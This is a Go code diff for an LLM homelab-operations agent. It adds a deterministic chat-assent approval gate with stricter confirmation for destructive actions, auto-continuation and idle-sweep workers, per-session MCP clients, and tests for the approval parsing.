Type: "tool_use",
Data: map[string]any{"name": tc.Function.Name, "args": args, "id": tc.ID},
@@ -201,14 +411,38 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
})
start := time.Now()
result, callErr := a.client.callTool(tc.Function.Name, args)
// Session-scoped task tools are handled in-process; everything else
// is forwarded to the shared MCP server.
var result any
var callErr error
if localRes, handled := a.handleTaskTool(ctx, sessionID, tc.Function.Name, args); handled {
result = localRes
} else {
// _session_id rides along on the wire call only — never in
// `args` (which is what gets emitted/logged/persisted as the
// model's own tool call) — so the MCP-side assent/destructive
// window checks can scope to THIS task instead of bleeding
// across every concurrently-running one sharing this agent
// identity. Not part of any tool's declared InputSchema, so
// the model never sees or supplies it.
wireArgs := make(map[string]any, len(args)+1)
for k, v := range args {
wireArgs[k] = v
}
wireArgs["_session_id"] = sessionID
var client *mcpClient
client, callErr = a.clients.get(sessionID)
if callErr == nil {
result, callErr = client.callTool(tc.Function.Name, wireArgs)
}
}
elapsed := int(time.Since(start).Milliseconds())
inputJSON, _ := json.Marshal(args)
inputStr := string(inputJSON)
if callErr != nil {
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, inputStr, callErr.Error(), elapsed, false, correlationID)
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, callErr.Error(), elapsed, false, correlationID)
emit(agentEvent{
Type: "tool_result",
@@ -222,7 +456,27 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
}
resultJSON, _ := json.Marshal(result)
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, inputStr, string(resultJSON), elapsed, true, correlationID)
a.store.logActivity(ctx, a.agentID, sessionID, tc.Function.Name, args, inputStr, string(resultJSON), elapsed, true, correlationID)
// Link any execution this tool queued/started back to this
// session, so the auto-continuation worker can feed its result
// back here when it finishes (see cmd/nomos/continue.go). Async
// executions (pct_create, apt_upgrade) are the ones that matter —
// their result lands after this turn ends.
for _, execID := range extractExecutionIDs(string(resultJSON)) {
a.store.linkExecution(ctx, execID, sessionID)
}
// Record which entities this task touched (task —involves→ entity)
// and pulse them on the live context panel. Args only — never
// results — so a bulk query doesn't drag the whole fleet in.
a.store.recordTouched(ctx, sessionID, tc.Function.Name, args)
// When the agent records knowledge, link that note to this task so
// the task's outcome view shows what it learned (and pulse it live).
if tc.Function.Name == "upsert_knowledge" {
a.store.linkKnowledgeToTask(ctx, sessionID, string(resultJSON))
}
emit(agentEvent{
Type: "tool_result",
@@ -232,10 +486,36 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
})
messages = append(messages, openai.ToolMessage(string(resultJSON), tc.ID))
slog.Info("nomos: tool success", "tool", tc.Function.Name, "ms", elapsed)
// ask_operator pauses the task: the agent has posed a decision only
// the operator can make. End the turn here so it doesn't barrel past
// its own question — the answer (panel or chat reply) resumes it.
// The prompt becomes the assistant's visible message so the question
// also shows inline in the transcript.
if tc.Function.Name == "ask_operator" {
prompt, _ := args["prompt"].(string)
emit(agentEvent{Type: "text", Data: prompt, SessionID: sessionID})
emit(agentEvent{Type: "done", Data: map[string]any{
"session_id": sessionID,
"correlation_id": correlationID,
"iteration": i + 1,
}, SessionID: sessionID})
return
}
}
}
emit(agentEvent{Type: "text", Data: "Agent loop: max iterations reached without final answer.", SessionID: sessionID})
// Hitting the step limit used to end the turn with a bare "max iterations
// reached without final answer" — a dead end that made the operator ask
// "status?" to find out what actually happened after a long working turn.
// Instead, spend one final call asking the model to summarize what it did
// and the current state, so the turn always ends with a real report.
messages = append(messages, openai.SystemMessage("[System: you've reached the step limit for this turn. STOP calling tools now and write a concise status report: what you accomplished, the current state of the goal, anything that failed, and what remains. This is what the operator sees.]"))
summary := a.finalSummary(ctx, messages)
if summary == "" {
summary = "I hit this turn's step limit while working. I've done a lot but couldn't wrap up cleanly — ask me for a status update and I'll summarize the current state."
}
emit(agentEvent{Type: "text", Data: summary, SessionID: sessionID})
emit(agentEvent{Type: "done", Data: map[string]any{
"session_id": sessionID,
"correlation_id": correlationID,
@@ -243,6 +523,22 @@ func (a *agent) chat(ctx context.Context, sessionID, message string, emit func(a
}, SessionID: sessionID})
}
// finalSummary makes one non-tool LLM call to turn an exhausted tool-loop into
// a real status report instead of a dead-end message. Best-effort: empty on
// any error, and the caller has a fallback.
func (a *agent) finalSummary(ctx context.Context, messages []openai.ChatCompletionMessageParamUnion) string {
params := openai.ChatCompletionNewParams{
Model: openai.ChatModel(a.model),
Messages: messages,
// No Tools: force a text answer.
}
resp, err := a.provider.Chat.Completions.New(ctx, params, a.reqOpts...)
if err != nil || len(resp.Choices) == 0 {
return ""
}
return resp.Choices[0].Message.Content
}
// extractText pulls the "text" field from a persisted message's JSONB content.
func extractText(content json.RawMessage) string {
var m struct {
@@ -351,8 +647,12 @@ func assistantToolCallMessage(calls []persistedCall) openai.ChatCompletionMessag
// of spending its first iteration rediscovering topology it already has
// tools to query. Best-effort: an empty string on any failure just means no
// snapshot, not an error for the turn.
func (a *agent) fleetSnapshot() string {
result, err := a.client.callTool("get_health_summary", map[string]any{})
func (a *agent) fleetSnapshot(sessionID string) string {
client, err := a.clients.get(sessionID)
if err != nil {
return ""
}
result, err := client.callTool("get_health_summary", map[string]any{})
if err != nil {
return ""
}
@@ -388,11 +688,45 @@ func (a *agent) fleetSnapshot() string {
return summary
}
func (a *agent) buildTools() ([]openai.ChatCompletionToolParam, error) {
defs, err := a.client.listToolsFull()
// isRefusalOrEmpty returns true when the LLM response is blank or looks like a
// canned non-English refusal to an English-language conversation. Flash-tier
// models occasionally emit Chinese boilerplate deflection instead of a real
// answer; this catches it before it reaches the UI.
func isRefusalOrEmpty(text string) bool {
if strings.TrimSpace(text) == "" {
return true
}
ascii, nonASCII := 0, 0
for _, r := range text {
if r <= 127 {
ascii++
} else {
nonASCII++
}
}
if nonASCII > ascii {
return true
}
for _, pattern := range refusalDenylist {
if strings.Contains(text, pattern) {
return true
}
}
return false
}
func (a *agent) buildTools(sessionID string) ([]openai.ChatCompletionToolParam, error) {
client, err := a.clients.get(sessionID)
if err != nil {
return nil, err
}
defs, err := client.listToolsFull()
if err != nil {
return nil, err
}
// Append nomos-local, session-scoped task tools (complete_task, …) to the
// MCP tool list. They're routed to handleTaskTool, not the MCP client.
defs = append(defs, taskToolDefs()...)
var tools []openai.ChatCompletionToolParam
for _, d := range defs {
@@ -413,7 +747,23 @@ func (a *agent) buildTools() ([]openai.ChatCompletionToolParam, error) {
return tools, nil
}
// listToolsFull returns the MCP server's tool list, cached on this client
// after the first call (see mcpClient.toolsCache). Fix F1 of
// plans/2026-07-11-nomos-agent-code-review.md: buildTools calls this at the
// start of every chat turn, including every auto-continuation resume — the
// tool list is static for the lifetime of one MCP connection, so re-fetching
// it every single time was avoidable network+parsing work on the hot path.
// Cache invalidates on reconnectLocked (an api restart may change what's
// registered).
func (c *mcpClient) listToolsFull() ([]toolDef, error) {
c.toolsMu.Lock()
if c.toolsCache != nil {
cached := c.toolsCache
c.toolsMu.Unlock()
return cached, nil
}
c.toolsMu.Unlock()
resp, err := c.doRequest("tools/list", map[string]any{})
if err != nil {
return nil, err
@@ -436,5 +786,9 @@ func (c *mcpClient) listToolsFull() ([]toolDef, error) {
InputSchema: t.InputSchema,
}
}
c.toolsMu.Lock()
c.toolsCache = out
c.toolsMu.Unlock()
return out, nil
}

180
cmd/nomos/assent.go Normal file
View File

@@ -0,0 +1,180 @@
package main
import (
"bytes"
"context"
"encoding/json"
"fmt"
"net/http"
"regexp"
"strings"
)
// Chat-assent approval: the operator authorizes a proposed action by
// replying normally in chat ("go ahead", "yes", "do it") instead of clicking
// a separate Approve button. This is deterministic (not LLM-judged) so it
// can't be talked around by a model that misreads intent, and it only ever
// looks at the assistant turn immediately preceding the operator's reply —
// an old "yes" from three messages ago can never retroactively approve
// something new. Destructive-risk actions are excluded: they always need the
// explicit typed-confirmation flow, never loose assent.
// pendingApproval is one gated action proposed in the immediately-preceding
// assistant turn, extracted from its tool_result text.
type pendingApproval struct {
execID string
destructive bool
}
// executionQueuedRE matches the "execution <uuid> queued" phrasing shared by
// the run and request_execution/pct_create tool result messages.
var executionQueuedRE = regexp.MustCompile(`(?i)execution\s+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\s+queued`)
// extractPendingApprovals scans the tool results of one assistant turn for
// gated actions that are still awaiting a decision.
func extractPendingApprovals(calls []persistedCall) []pendingApproval {
var out []pendingApproval
for _, c := range calls {
text := c.resultText()
m := executionQueuedRE.FindStringSubmatch(text)
if m == nil {
continue
}
out = append(out, pendingApproval{
execID: m[1],
destructive: strings.Contains(strings.ToUpper(text), "DESTRUCTIVE"),
})
}
return out
}
// negationWords, checked first: any of these anywhere in the message means
// the reply is NOT assent, even if a positive word also appears (e.g. "no,
// don't restart it yet" contains neither "yes" nor "go ahead", but "wait"
// alone should also block a stray "yes" a sentence later — checking negation
// first and returning false errs toward re-confirming rather than assuming
// consent, per "when in doubt, escalate"). Includes contracted negatives
// ("haven't", "isn't", ...) alongside "don't"/"do not" — found live: "I
// haven't confirmed anything yet" was reading as an explicit confirmation
// because none of the contracted forms were covered, only "don't"/"do not".
// Deliberately does NOT include a bare "not": that's broad enough to false-
// negative ordinary assent ("go ahead, this is not risky") — the specific
// contracted-verb forms below are unambiguous negation on their own.
var negationWords = []string{
"no", "nope", "don't", "do not", "stop", "wait", "hold on", "hold off",
"not yet", "cancel", "nevermind", "never mind", "actually don't", "skip that",
"haven't", "hasn't", "isn't", "wasn't", "aren't", "can't", "cannot",
"won't", "wouldn't", "shouldn't", "didn't", "doesn't",
}
// assentWords, checked only if no negation matched.
var assentWords = []string{
"go ahead", "goahead", "yes", "yep", "yeah", "yup", "do it", "proceed",
"approve", "approved", "confirm", "confirmed", "ship it", "sounds good",
"lgtm", "run it", "execute", "ok go", "okay go", "please do",
}
// wordTokenRe splits a message into lowercase word tokens. Apostrophes
// (straight ' and curly ) stay attached to their word so "don't"/"haven't"
// tokenize as one token, not two.
var wordTokenRe = regexp.MustCompile(`[a-z0-9']+`)
func tokenize(msg string) []string {
return wordTokenRe.FindAllString(strings.ToLower(strings.ReplaceAll(msg, "", "'")), -1)
}
// containsPhrase reports whether phrase (one or more words) appears as a
// consecutive run of WHOLE tokens in tokens — never a mid-word substring
// match. This is the fix for a real false positive found live: the old
// substring check (`strings.Contains(m, "yes")`) matched "yes" inside
// "yesterday", and "confirm" inside "confirmed"/"unconfirmed" without regard
// for word boundaries. Negation already used a word-boundary check
// (space-padded); assent/confirm words didn't — this brings both onto the
// same, more robust tokenized comparison instead of ad-hoc string padding.
func containsPhrase(tokens []string, phrase string) bool {
words := strings.Fields(phrase)
if len(words) == 0 || len(words) > len(tokens) {
return false
}
for i := 0; i+len(words) <= len(tokens); i++ {
match := true
for j, w := range words {
if tokens[i+j] != w {
match = false
break
}
}
if match {
return true
}
}
return false
}
// isAssent reports whether msg is a plain-language authorization of a
// pending proposal. Deliberately simple and auditable: a fixed word list,
// not a model judgment call, so behavior is predictable and can't be
// prompt-injected via the pending action's own content.
func isAssent(msg string) bool {
tokens := tokenize(msg)
for _, w := range negationWords {
if containsPhrase(tokens, w) {
return false
}
}
for _, w := range assentWords {
if containsPhrase(tokens, w) {
return true
}
}
return false
}
// isTypedConfirmation reports whether msg is an explicit confirmation strong
// enough to grant a DESTRUCTIVE pending action. Deliberately a separate,
// stricter check from isAssent: a bare "yes"/"go ahead"/"proceed" must never
// grant something destructive, only an explicit "confirm" statement does —
// this is the typed-confirmation phrase SOUL.md tells the operator to use
// ("I confirm destroy 135"). Still negation-aware for the same reason as
// isAssent: "don't confirm yet" must not accidentally match.
func isTypedConfirmation(msg string) bool {
tokens := tokenize(msg)
for _, w := range negationWords {
if containsPhrase(tokens, w) {
return false
}
}
return containsPhrase(tokens, "confirm") || containsPhrase(tokens, "confirmed")
}
// approveExecution grants (or denies) a pending execution via the same HTTP
// endpoint the chat UI's Approve button calls, so both paths share one code
// path server-side (executeApprovedAction) and one audit trail. Returns the
// decided status, or an error if the request failed outright (a 4xx for an
// already-decided/expired approval is reported via ok=false, not a hard err,
// since that's an expected race, not a bug).
func (a *agent) approveExecution(ctx context.Context, execID string) (ok bool, status string, err error) {
if a.apiBase == "" {
return false, "", fmt.Errorf("no API base configured")
}
body, _ := json.Marshal(map[string]string{"decision": "approve"})
req, err := http.NewRequestWithContext(ctx, http.MethodPost,
a.apiBase+"/api/v1/approvals/"+execID+"/decision", bytes.NewReader(body))
if err != nil {
return false, "", err
}
req.Header.Set("Content-Type", "application/json")
resp, err := a.httpClient.Do(req)
if err != nil {
return false, "", err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, "", nil // already decided / expired / not found — not a hard failure
}
var out struct {
Status string `json:"status"`
}
json.NewDecoder(resp.Body).Decode(&out)
return true, out.Status, nil
}

136
cmd/nomos/assent_test.go Normal file
View File

@@ -0,0 +1,136 @@
package main
import (
"encoding/json"
"testing"
)
func TestIsAssent_Positive(t *testing.T) {
cases := []string{
"go ahead", "Go ahead.", "yes", "Yes!", "yeah", "yep", "do it",
"proceed", "approve", "ship it", "sounds good", "lgtm", "please do",
"ok go ahead and run it",
}
for _, c := range cases {
if !isAssent(c) {
t.Errorf("isAssent(%q) = false, want true", c)
}
}
}
func TestIsAssent_Negative(t *testing.T) {
cases := []string{
"no", "no, don't", "wait", "hold on", "not yet", "cancel that",
"nevermind", "what's the plan for tomorrow?", "how many CPUs does strong have?",
"maybe later", "",
}
for _, c := range cases {
if isAssent(c) {
t.Errorf("isAssent(%q) = true, want false", c)
}
}
}
func TestIsAssent_NegationBeatsAssentWord(t *testing.T) {
// Contains "yes" as a substring pattern risk word but is clearly not
// assent — negation must win.
cases := []string{
"no, don't do it yet",
"wait, not yet please",
}
for _, c := range cases {
if isAssent(c) {
t.Errorf("isAssent(%q) = true, want false (negation should block)", c)
}
}
}
// TestIsAssent_WholeWordBoundary regression-tests a real false positive found
// live: the old substring check matched "yes" inside "yesterday" (and would
// equally match "confirm" inside "confirmed"/"unconfirmed" for
// isTypedConfirmation below) because only negation used a word-boundary
// check — assent/confirm words used a bare strings.Contains. Confirmed via a
// throwaway probe before being fixed; kept here permanently so a future
// change can't silently reintroduce it.
func TestIsAssent_WholeWordBoundary(t *testing.T) {
cases := []string{
"not sure, maybe yesterday's logs show something useful",
"my eyesight isn't great, what does that say",
}
for _, c := range cases {
if isAssent(c) {
t.Errorf("isAssent(%q) = true, want false (word-boundary: 'yes' must not match inside 'yesterday'/'eyesight')", c)
}
}
}
// TestIsTypedConfirmation_ContractedNegation regression-tests the other real
// false positive: isTypedConfirmation gates DESTRUCTIVE actions, and
// "confirm" matching inside "confirmed" combined with contracted negatives
// ("haven't") not being in negationWords meant a message that explicitly
// says the operator has NOT confirmed something could read as confirming it.
func TestIsTypedConfirmation_ContractedNegation(t *testing.T) {
cases := []string{
"I haven't confirmed anything yet, let me think",
"that isn't confirmed on my end",
"we can't confirm that until tomorrow",
}
for _, c := range cases {
if isTypedConfirmation(c) {
t.Errorf("isTypedConfirmation(%q) = true, want false (contracted negation should block)", c)
}
}
}
func TestIsTypedConfirmation(t *testing.T) {
positive := []string{
"I confirm destroy 135 in strong",
"confirm",
"Confirmed.",
"yes I confirm",
}
for _, c := range positive {
if !isTypedConfirmation(c) {
t.Errorf("isTypedConfirmation(%q) = false, want true", c)
}
}
negative := []string{
"yes", "go ahead", "do it", "proceed", "lgtm", // loose assent must NOT satisfy this
"no, don't confirm yet", "wait", "",
}
for _, c := range negative {
if isTypedConfirmation(c) {
t.Errorf("isTypedConfirmation(%q) = true, want false (only explicit confirm should pass)", c)
}
}
}
func TestExtractPendingApprovals(t *testing.T) {
mkCall := func(text string) persistedCall {
b, _ := json.Marshal(text)
return persistedCall{id: "x", name: "run", result: json.RawMessage(b)}
}
calls := []persistedCall{
mkCall("run on host:strong requires approval (risk: config_mutation) — execution 019f4930-e22b-7c47-8c6e-715dcd59df19 queued. Present the command..."),
mkCall("some unrelated read-only result, no approval here"),
mkCall("run on lxc:caddy requires approval (risk: destructive) — execution 019f4931-aaaa-7c47-8c6e-715dcd59df20 queued. This is classified DESTRUCTIVE — flag that clearly."),
}
got := extractPendingApprovals(calls)
if len(got) != 2 {
t.Fatalf("expected 2 pending approvals, got %d: %+v", len(got), got)
}
if got[0].execID != "019f4930-e22b-7c47-8c6e-715dcd59df19" || got[0].destructive {
t.Errorf("first approval wrong: %+v", got[0])
}
if got[1].execID != "019f4931-aaaa-7c47-8c6e-715dcd59df20" || !got[1].destructive {
t.Errorf("second approval should be flagged destructive: %+v", got[1])
}
}
func TestExtractPendingApprovals_NoneWhenNoneQueued(t *testing.T) {
b, _ := json.Marshal("fleet is healthy, nothing to report")
calls := []persistedCall{{id: "x", result: json.RawMessage(b)}}
if got := extractPendingApprovals(calls); len(got) != 0 {
t.Errorf("expected no pending approvals, got %+v", got)
}
}

288
cmd/nomos/continue.go Normal file
View File

@@ -0,0 +1,288 @@
package main
import (
"context"
"encoding/json"
"fmt"
"log/slog"
"regexp"
"strings"
"time"
"github.com/dtoro/oikos/internal/safego"
"github.com/google/uuid"
)
// execIDRe matches "execution <uuid>" in a tool result — the phrasing shared
// by request_execution / run when they queue or start a gated execution.
// Only these async executions need continuation; the synchronous auto-run
// path returns its output inline and is already observed in-turn.
var execIDRe = regexp.MustCompile(`(?i)execution\s+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})`)
func extractExecutionIDs(toolResult string) []uuid.UUID {
matches := execIDRe.FindAllStringSubmatch(toolResult, -1)
seen := map[uuid.UUID]bool{}
var out []uuid.UUID
for _, m := range matches {
if id, err := uuid.Parse(m[1]); err == nil && !seen[id] {
seen[id] = true
out = append(out, id)
}
}
return out
}
// idleTaskThreshold is how long a goal-bearing session can sit non-terminal
// with no activity before the idle sweep nudges it, per
// plans/2026-07-11-task-completion-safety-net.md. Arbitrary starting point,
// not measured against real task durations — long enough that it won't fire
// mid-turn, short enough the board doesn't lie for hours.
const idleTaskThreshold = 15 * time.Minute
// runIdleSweepWorker is the safety net for case 2 of
// plans/2026-07-11-task-completion-safety-net.md: sessions that called
// set_goal (so the inline safety net in agent.go correctly left them alone,
// since they framed themselves as a real task) but then stalled without
// ever calling complete_task. Coarser than runContinuationWorker's 4s tick
// since "gone idle" is a much slower signal than "an execution just
// finished." Blocks until ctx is cancelled.
func (a *agent) runIdleSweepWorker(ctx context.Context) {
if a.store == nil {
slog.Warn("nomos: idle sweep worker disabled (no store)")
return
}
slog.Info("nomos: idle sweep worker started")
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
a.processIdleSweep(ctx)
}
}
}
// processIdleSweep nudges a stalled goal-bearing session once; if it's still
// non-terminal on the NEXT sweep (meaning the nudge itself went unanswered,
// not just that the model is still working), auto-closes it with a
// visible "auto-closed" outcome instead of leaving it stuck forever — same
// reasoning resumeSession already applies below for a different failure
// mode (a resume that produces no response at all).
func (a *agent) processIdleSweep(ctx context.Context) {
stale := a.store.staleGoalSessions(ctx, idleTaskThreshold, 5)
for _, s := range stale {
s := s
if s.CompletionNudges == 0 {
safego.Go("nomos:idle-nudge:"+s.ID, func() {
if err := a.store.bumpCompletionNudge(ctx, s.ID); err != nil {
slog.Error("nomos: idle nudge bump failed", "session", s.ID, "error", err)
return
}
note := fmt.Sprintf("[System: this task ('%s') has been idle for %s with no complete_task call. "+
"If the goal is done (or can't be completed), call complete_task now with the outcome and a "+
"one-line summary. If you're still genuinely working through the plan, ignore this and continue.]",
s.Goal, idleTaskThreshold)
a.resumeSession(ctx, s.ID, note)
})
continue
}
safego.Go("nomos:idle-autoclose:"+s.ID, func() {
summary := fmt.Sprintf("Auto-closed after %s idle with no response to a completion nudge.", idleTaskThreshold)
if err := a.store.completeTask(ctx, s.ID, "partial", summary); err != nil {
slog.Error("nomos: idle auto-close failed", "session", s.ID, "error", err)
}
})
}
}
// runContinuationWorker is the event loop that replaces the human typing
// "continue". It polls for gated executions that (a) were initiated by a chat
// session and (b) have just finished, and — while that agent has an open assent
// window (an approved plan is in flight) — feeds each result back into the
// agent so it proceeds to the next step or recovers from the failure, all
// without an operator tick. Blocks until ctx is cancelled.
func (a *agent) runContinuationWorker(ctx context.Context) {
if a.store == nil {
slog.Warn("nomos: continuation worker disabled (no store)")
return
}
slog.Info("nomos: continuation worker started")
ticker := time.NewTicker(4 * time.Second)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
a.processContinuations(ctx)
}
}
}
// processContinuations dispatches each pending item as its OWN goroutine
// (safego.Go, so a panic deep in one task's resumed turn — JSON parsing of
// model output, an unexpected nil in a tool result — is recovered and logged
// instead of taking down this whole function, which used to run every
// item sequentially in the SAME goroutine as the ticker loop. Two problems
// that fixed: (1) throughput — task B's continuation no longer waits for
// task A's full (up to 10-minute) resumed turn to finish first, the exact
// per-task blocking this session's earlier concurrency work removed from the
// live-chat path but had left in place here; (2) survivability — since Go
// panics unwind the goroutine they occur in, an unrecovered one here used to
// mean this call (and every future tick, since the whole ticker loop runs in
// one goroutine) would simply stop — auto-continuation for every task would
// silently die until nomos restarted. Now a single bad item can only ever
// take down its own goroutine.
func (a *agent) processContinuations(ctx context.Context) {
pending := a.store.pendingContinuations(ctx, 5)
for _, p := range pending {
// Scope gate: only auto-continue while an approved plan is active FOR
// THIS SESSION. Checked per-item, not once for the whole batch — with
// multiple tasks in flight, one task's open window must never cover a
// pending continuation belonging to a different task.
if !a.store.assentWindowActive(ctx, a.agentID, p.SessionID) {
// A finished one-off execution with no window is left as-is
// (marked continued so we don't re-check it forever) — the
// operator decides what happens next, as today.
a.store.markContinued(ctx, p.ExecID)
continue
}
a.store.markContinued(ctx, p.ExecID) // stamp first: a failure here must not cause a re-continue loop
safego.Go("nomos:continue-session:"+p.SessionID, func() { a.continueSession(ctx, p) })
}
}
// continueSession re-invokes the agent for one finished execution. Persists
// progress LIVE — a placeholder row immediately, updated in place as each
// tool call completes — instead of only saving once the whole continuation
// finishes. The frontend polls (see chat.ts startPolling); without
// incremental persistence here, a continuation that runs several tool calls
// before concluding would look like total silence in the UI for however long
// that takes, which is exactly the "I just wait while nothing happens"
// complaint this exists to fix — polling alone only helps if there's
// something new to poll for.
func (a *agent) continueSession(ctx context.Context, p pendingContinuation) {
slog.Info("nomos: auto-continuing session", "session", p.SessionID, "execution", p.ExecID, "status", p.Status)
a.resumeSession(ctx, p.SessionID, buildContinuationNote(p))
}
// resumeSession re-invokes the agent for a session with a system-injected note —
// a finished execution (continueSession) or an operator's answer to a question
// (handleAnswerQuestion) — persisting progress LIVE (a placeholder row updated
// in place as each tool call lands) so the frontend poller sees each step,
// instead of total silence until the whole resume concludes.
func (a *agent) resumeSession(ctx context.Context, sessionID, note string) {
placeholder, _ := json.Marshal(map[string]any{
"role": "assistant",
"text": "",
"auto": true,
})
msgID, err := a.store.insertMessageReturningID(ctx, sessionID, "assistant", placeholder)
if err != nil {
slog.Error("nomos: resume placeholder insert failed", "session", sessionID, "error", err)
}
var toolCalls []map[string]any
var finalText, errText string
persist := func() {
if msgID == uuid.Nil {
return
}
text := finalText
if text == "" && errText != "" {
text = fmt.Sprintf("(auto-continuation hit an internal error and did not respond: %s — the execution's own result is above; you may need to prompt the agent again)", errText)
}
body, _ := json.Marshal(map[string]any{
"role": "assistant",
"text": text,
"tool_calls": toolCalls,
"auto": true, // marks this as an autonomous continuation, not an operator turn
})
a.store.updateMessage(ctx, msgID, body)
}
// One retry if the LLM call itself produced nothing (transient flake /
// empty-response) — the whole point of this mechanism is "don't give up
// on the first error," which should apply to the continuation call
// itself, not just the homelab commands it's continuing. Found live: a
// destructive-recovery continuation hit an empty LLM response, its
// internal retry (chatWith's own maxLLMRetries=1) also came up empty, and
// without this outer retry the operator would see nothing at all.
cctx, cancel := context.WithTimeout(ctx, 10*time.Minute)
defer cancel()
for attempt := 0; attempt < 2; attempt++ {
toolCalls, finalText, errText = nil, "", ""
emit := func(ev agentEvent) {
if ev.Type == "tool_use" || ev.Type == "tool_result" {
if m, ok := ev.Data.(map[string]any); ok {
m["type"] = ev.Type
toolCalls = append(toolCalls, m)
}
persist() // live: a poller sees this step land within seconds
}
if ev.Type == "text" {
finalText, _ = ev.Data.(string)
}
if ev.Type == "error" {
errText, _ = ev.Data.(string)
}
}
a.chatWith(cctx, sessionID, "", note, emit)
if finalText != "" || len(toolCalls) > 0 {
break
}
if attempt == 0 {
slog.Warn("nomos: resume produced nothing, retrying once", "session", sessionID, "error", errText)
}
}
if errText != "" && finalText == "" {
slog.Error("nomos: resume produced no response after retry", "session", sessionID, "error", errText)
// Give the task a real, operator-visible terminal state instead of
// leaving it silently stuck at whatever status it was in (typically
// 'executing' or 'awaiting_input') forever. Before this, a
// permanently-failed resume was invisible beyond a log line — the
// task board just showed a task that never changed, with nothing
// telling the operator it needed attention. Marking it failed here
// doesn't prevent the operator from continuing to work the task via
// a fresh chat message afterward; it just stops the silent hang.
summary := fmt.Sprintf("Auto-resume failed after retrying: %s", errText)
if len(summary) > 200 {
summary = summary[:200] + "…"
}
if cerr := a.store.completeTask(context.Background(), sessionID, "failure", summary); cerr != nil {
slog.Error("nomos: failed to mark task failed after resume gave up", "session", sessionID, "error", cerr)
}
}
persist() // final state — same row, updated one last time with the concluding text
}
// buildContinuationNote frames the finished execution for the model: what
// happened, and what to do about it. The persist-through-errors instruction
// lives here (and in SOUL) so the agent recovers instead of stopping.
func buildContinuationNote(p pendingContinuation) string {
action := p.Action
if i := strings.IndexByte(action, ':'); i > 0 && len(action) > 40 {
action = action[:i] // keep just the action verb for brevity; params are in the DB
}
result := p.Result
if len(result) > 3000 {
result = result[:3000] + "…[truncated]"
}
var b strings.Builder
fmt.Fprintf(&b, "[System: execution %s (%s) finished with status=%s.\nResult: %s\n\n",
p.ExecID, action, p.Status, result)
switch p.Status {
case "completed":
b.WriteString("It SUCCEEDED. Continue the approved plan: run the next step. If this was the final step, verify the end goal actually works (e.g. curl the service) and then report success to the operator. Do NOT stop and wait for the operator to say 'continue'.")
case "failed", "cancelled":
b.WriteString("It FAILED. Do NOT give up or hand back to the operator. Diagnose the cause from the result above (and by running read-only inspection commands if needed), form a hypothesis, fix it, and retry or take an alternative approach. You have an active assent window, so config_mutation steps run without re-approval. Only stop and ask the operator if you are genuinely blocked (need information only they have) or the fix would require a destructive action they haven't approved.")
default: // denied / revoked
b.WriteString("The operator denied or revoked this step. Stop executing this plan and briefly acknowledge.")
}
b.WriteString("]")
return b.String()
}

View File

@@ -0,0 +1,39 @@
package main
import "testing"
func TestExtractExecutionIDs(t *testing.T) {
// Real tool-result phrasings that should yield an execution id.
pos := map[string]string{
`"pct_create on host:strong auto-approved via assent window — execution 019f4b19-eafd-74ed-baa6-d24a27b3f52c running."`: "019f4b19-eafd-74ed-baa6-d24a27b3f52c",
`"run on lxc:caddy requires approval (risk: config_mutation) — execution 019f4af7-7eff-7723-b38c-b540b267f407 queued."`: "019f4af7-7eff-7723-b38c-b540b267f407",
`"apt_upgrade on host:hubris auto-approved via assent window — execution 019f4b58-c88c-7767-87dd-044608ced913 running."`: "019f4b58-c88c-7767-87dd-044608ced913",
}
for in, want := range pos {
ids := extractExecutionIDs(in)
if len(ids) != 1 || ids[0].String() != want {
t.Errorf("extractExecutionIDs(%q) = %v, want [%s]", in, ids, want)
}
}
// Synchronous auto-run and read-only results carry no "execution <uuid>"
// phrasing — they've already completed inline and must NOT be linked for
// continuation.
neg := []string{
`"run on host:strong (read_only, auto): 09:30 up 8 days"`,
`"run on lxc:caddy (config_mutation, auto via assent window): done"`,
`[{"slug":"lxc:caddy","health":"healthy"}]`,
`"target not found: lxc:nope"`,
}
for _, in := range neg {
if ids := extractExecutionIDs(in); len(ids) != 0 {
t.Errorf("extractExecutionIDs(%q) = %v, want none", in, ids)
}
}
// De-dupes repeated ids in one result.
dup := `execution 019f4b19-eafd-74ed-baa6-d24a27b3f52c queued ... execution 019f4b19-eafd-74ed-baa6-d24a27b3f52c running`
if ids := extractExecutionIDs(dup); len(ids) != 1 {
t.Errorf("expected de-dup to 1 id, got %v", ids)
}
}

View File

@@ -15,6 +15,9 @@ import (
"sync"
"syscall"
"time"
"github.com/dtoro/oikos/internal/safego"
"github.com/google/uuid"
)
func main() {
@@ -42,10 +45,19 @@ func main() {
ctx, cancel := signal.NotifyContext(context.Background(), syscall.SIGTERM, syscall.SIGINT)
defer cancel()
client, err := newMCPClient(mcpURL)
if err != nil {
// One MCP client PER SESSION, not one shared client for the whole
// process — see mcpClientPool's doc comment. A dedicated client is
// created lazily on each session's first tool call.
clientPool := newMCPClientPool(mcpURL)
// Prove connectivity at startup the same way the old single-client
// constructor did, so a misconfigured/unreachable MCP endpoint still
// fails fast on boot instead of only on the first real chat. Doesn't
// reuse the pool (nothing to key it by yet) — just a throwaway probe.
if probe, err := newMCPClient(mcpURL); err != nil {
slog.Error("nomos: mcp connect", "url", mcpURL, "error", err)
os.Exit(1)
} else {
probe.close()
}
st, err := newStore(ctx, databaseURL)
@@ -57,19 +69,42 @@ func main() {
defer st.close()
}
nAgent, err := newAgent(ctx, client, st, agentSlug)
nAgent, err := newAgent(ctx, clientPool, st, agentSlug)
if err != nil {
slog.Error("nomos: agent init", "error", err)
os.Exit(1)
}
// Event-driven auto-continuation: feed finished async executions back
// into the agent so an approved plan runs to completion (and recovers
// from failures) without the operator ticking it forward each step.
safego.Go("nomos:continuation-worker", func() { nAgent.runContinuationWorker(ctx) })
